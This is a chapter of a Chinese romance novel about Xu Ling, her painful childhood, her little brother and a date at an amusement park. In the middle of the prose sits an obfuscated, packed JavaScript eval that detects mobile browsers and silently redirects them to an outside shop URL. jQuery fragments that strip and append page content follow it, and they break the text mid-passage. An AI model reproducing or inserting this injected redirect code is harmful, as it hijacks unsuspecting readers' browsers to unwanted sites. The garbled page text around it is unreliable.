“许绫，许绫——”


    有人在叫她。


    声音很远，像是隔着一层厚厚的水雾，朦胧中，却又有着几分熟悉。


    许绫努力睁开眼。


    入目是一大片绿色的稻田，秧苗还没抽穗，在风里翻涌成绿色的波浪。


    脚下传来黏腻冰凉的触感，她低头，发现自己踩在水田中。


    手小小的、脏脏的，那是还没长大的自己。


    循着声音望去。


    外婆站在田埂尽头，那条泥泞小路的岔口，正冲着她招手。


    “绫绫，快来吃饭啰！”


    许绫咧开嘴，迈着短短的小腿，在那片自由的绿色中飞快地奔跑。


    风轻轻拂过脸颊，外婆的笑脸越来越近，敞开的木门里飘出柴火饭的香味。


    她欢快地一步迈过门槛——


    视线陡然拔高。


    温暖的土胚房忽而消失在视野中，抬头再望时，已然成了四面逼仄灰白的水泥墙。


    这是县城的新家。


    自建房的楼距很窄，窗户外也是灰扑扑的墙，透不进一丝阳光。屋里明明开着灯，却冷清得像是傍晚。


    电视里的小人吵吵闹闹，可家里却静得冷冷清清。


    许母抱着手坐在沙发上，眉头紧锁，明明视线停留在电视上，眼神却又放空。许父在狭窄的厨房里忙碌，屋内只剩下锅瓦瓢盆的碰撞声响。


    许绫站在客厅角落，依旧是小小的个子。


    手里那张打满红叉的试卷被攥得死紧，碾出了褶皱，铅印上去的字被揉得模糊不清。


    她紧紧咬着下唇，鼓起全部勇气，想要解释：


    “妈，我…我就是不适应老师讲的东西…”


    话刚开了个头。


    许母就不耐烦地瞥了她一眼：“少找借口！同样的课别人能听懂你怎么就听不懂？”


    “成绩这么差，这辈子都要完了。”


    “跟你说了多少遍要收心收心，怎么还跟个乡下野丫头一样疯？”


    一瞬间，羞耻和委屈从胸口漏出的洞里钻出来，爬满全身。


    为了掩饰掉心底那点可怜的自卑，许绫竖起满身的刺。


    她突然把试卷一摔，哽着声音大吼：“我不稀罕学，我就是野丫头行了吧！”


    “砰！”


    房门被种种甩上。


    外界的指责被阻绝在门外，房内彻底安静了。


    眼泪不受控制地涌出来，模糊了视线。


    昏黄的台灯照着眼皮，闭上眼时，黑暗里透出一层诡谲的红。


    那抹红色渐渐加深，变成了真实的红绸与喜字。


    耳边充斥着亲戚们喜气洋洋的道贺声：


    “恭喜恭喜啊，儿女双全！”


    “终于凑成‘好’字了，这就是福气啊！”


    “哎哟，绫绫这么大了，以后肯定能帮着弟弟，真懂事。”


    许绫站在人群外，四下张望，才发现不知何时自己手中多了个行李箱。


    许母抱着刚出生的婴儿，脸上是她从未见过的温柔笑意。


    她转过头，看着许绫，语气亲切：“绫绫，家里弟弟闹，还没收拾好。”


    “要不你去大姨家住几天吧。”


    许绫感觉自己的心纠成了一团。


    我不想走。


    是不是因为有了他，你们就不要我了？


    她张开嘴，想问个明白，却怎么也发不出一个音节。


    最后，她只听到自己说：“行啊，在哪不是住啊。”


    眼前的进度条失控，发疯般快进。


    大姨家、小姨家，又是大姨家。


    手边的行李箱从未放下过。明明亲戚们都很热情，但在那些一家人围坐在一起看电视的夜晚，她总是默不作声地早早回房。


    那扇门外，总有人在说：“这孩子真乖，长大了，懂事了。”


    懂事。


    门外再次响起了敲门声，许绫起身去开。


    开门时，她才发现自己又拖着那沉重的行李箱，走到了大学校门口。


    周围人成群结队来来往往，她混迹在其中，却怎么也找不到方向。


    直到一双手伸过来，稳稳地接过了她的箱子。


    “这么重，怎么不叫我？”


    邢晟逆着光，表情藏匿在阴影中，但许绫知道，他还是笑着的，


    “未来的路，我们一起走吧。”


    他很温柔，对她也很好。


    无论她怎么发脾气，怎么任性，他都笑着照单全收。


    她以为，自己终于能找到个容身之所。


    可渐渐的，这份笑容变得越来越模糊，越来越让人捉摸不透。


    眼前的画面定格在两人分别前的那个夜晚。


    邢晟松开了她的手，那只行李箱重新掉回他手中，发出了沉闷的声响。


    他转身，走向了那辆黑色轿车。


    与之渐渐重叠的，是幼时父母第一次外出打工时决绝的背影。


    我又被抛弃了吗？


    又不要我了吗？


    邢晟，连你也要丢下我吗？


    “别走…”


    许绫张开嘴，想喊住他。


    可喉咙像是被无形的手腕扼住，阻挠着她怎么也发不出声音。


    她拼命地追，可双腿却像是灌了铅，怎么也赶不上那离去的步伐。


    原来，不管怎么样，她都会被丢下。


    ·


    “嘶——”


    许绫猛地睁开眼。


    一滴泪水顺着眼角滑落，无声地湮没在枕头中。


    心脏还在剧烈地跳动，被全世界遗弃的恐慌感却久久萦绕在心头，迟迟不肯散去。


    她呆愣了几秒才反应过来，这里是父母家的卧室。


    “叮铃铃…”


    床头的闹钟如约响起，打破了这份窒息。


    许绫伸手按掉，长长吐出一口浊气。


    她坐起身，活动了长久没能好好拉伸的身体。


    本来她还在脑中习惯性地计算从这里去面包房要多久，脑子转了一圈才想起来今天是周末，她答应了陈禹的邀约。昨晚是为了方便，才特意搬回来住一晚。


    没想到的是，仅仅是单纯的回来，都能把旧伤翻出来。


    她坐了几秒，抬手抹掉脸上的潮意，强迫自己将那些记忆重新塞回脑海。


    收拾好心情，洗了把脸，许绫推开房门。


    客厅里静悄悄的。


    “爸？妈？”


    她试探性地叫了两声。


    没人应。


    周末这个点，这两人不至于不在家。


    正疑惑着，她一转身，差点撞上个人影。


    “哎哟！”


    许绫吓了一跳，定睛一看，才发现是那个还没她胸口高的许昀。


    对方正抱着本书，盯着头乱糟糟的鸡窝头，仰着脸面无表情地看着她：“别喊了，爸妈一大早就去二姨家送东西了。”


    “你怎么没去？”许绫拍了拍惊魂未定的胸口。


    “我刚从补习班回来。”许昀昂着头，一副小大人的模样，“他们说你今天在家，让你看着我。”


    许绫：“……”


    原来被安排这件事，醒了也躲不掉。


    “我今天要出门，没空管你。”


    许绫边换鞋边嘴硬，“你自己在家玩会儿，或者去找同学，谁带你啊，一边凉快去。”


    半小时后，地铁站口。


    许绫看着身边那个背着小黄人书包、手里拿着奥特曼水壶的“拖油瓶”，无奈地叹了口气，“说好了啊，去了不许乱跑，不许乱要东西，不然我就把你扔在那儿！”


    许昀切了一声：“知道了，老姐你真啰嗦，我又不是三岁小孩。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111257|192482||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “行行行，你最成熟。”


    许绫敷衍着，伸手去摸大衣口袋，想拿手机刷码进站。


    一摸。


    空的。


    再摸另一边。


    还是空的。


    许绫的表情僵住了。


    她突然想起来，昨晚回来太累，手机随手扔在沙发上充电，今早被那个梦吓醒，出门又急…


    根本没带！


    如果现在折回去，至少要耽误二十分钟。


    “怎么了？”许昀看着她逐渐僵硬的动作，好奇道，“别告诉我你也没带钱。”


    许绫尴尬地回过头，却看见对方手腕正挂着个亮闪闪的、最新款的小天才电话手表，忽而计上心头。


    “那个…许昀啊，你把手表借我打个电话呗？”


    ·


    正值周末，游乐场门口的人流量大得惊人。


    大大小小的脑袋扎堆成了群，进场口更是排起了长龙。周边到处都是拿着气球乱跑的小孩和追在后面喊的大人，嘈杂得像是把一百只鸭子扔进了锅中。


    许绫攥着几张刚从窗口排队买来的票，坐在门口的花坛边，无聊地数着水柱。


    身旁的许昀倒是兴奋得很，正扒着栏杆看不远处的跳楼机，别人叫他就笑。


    “什么时候进去啊？”


    许昀回头问了句，语气中多少带了点嫌弃，“这都迟到二十多分钟了，被妈知道了肯定给他扣分。”


    许绫正想让他闭嘴，远远地就看见一个身影朝这边狂奔而来。


    陈禹跑得很急，今早显然精心打理过的发型此刻被风吹得乱糟糟的，额间全是汗，看起来颇为狼狈。


    “许绫！呼…呼…”


    陈禹跑到她面前，双手撑着膝盖，大口大口地喘着粗气，脸因为过度奔跑而涨得通红，“对不起，实在是对不起！我来晚了！”


    许绫站起身，主动从包里掏出一张纸巾：“没事，我们也刚到没多久。”


    陈禹接过纸巾胡乱擦了把汗，刚想再解释两句，突然发现许绫身后冒出个毛茸茸的脑袋。


    那双和许绫有几分相似的眼睛，正好奇地打量着他，眼神中还带着些许审视。


    陈禹愣了一下：“这…”


    “哦，这就是我在电话里和你说的。”


    许绫把身后的人拉出来，挂上了抱歉的笑，“这是我弟弟，许昀。”


    “今天爸妈临时有事出门了，家里没人看他。想着那天咱们正好定的是游乐场，我就只好把他带出来了，不介意吧？”


    其实送完大货那天，陈禹又单独去店里找过她。


    两人特意在现场敲定了今天的时间和地点，为了保密和惊喜，他也并未过多在聊天软件上细聊。


    但没想到，这“惊喜”很可能要演变成带娃。


    陈禹虽然心里有点小失落，但面上还是立马露出了热情的笑容。


    他俯下身，视线与许昀平齐，主动伸出手试图友好地摸摸对方的头：


    “当然不介意！你好啊许昀，我是你姐姐的…老同学。”


    “叫我陈哥哥就行！”


    对方还算给面子地叫了一声：“陈哥哥好。”


    陈禹眯着眼笑，这才注意到他手腕上那个硕大的电话手表。


    他恍然大悟：“难怪今天打过来是陌生号码，而且听筒那边一直有电流声，我还以为是谁打错了呢！”


    “是…”


    许绫有些不好意思地解释道，“今天出门太急，等到地铁口才发现手机没带。”


    “等到跑回去拿肯定赶不上时间，只能借他的手表给你打个电话了。”


    “真是不好意思啊，让你久等了。”陈禹站起身，有些懊恼地挠了挠本来就乱的头发，笑容都有些勉强，“本来我是算好时间出门的，结果谁知道…”


    “今早一下楼，发现停在路边的车被人撞了。”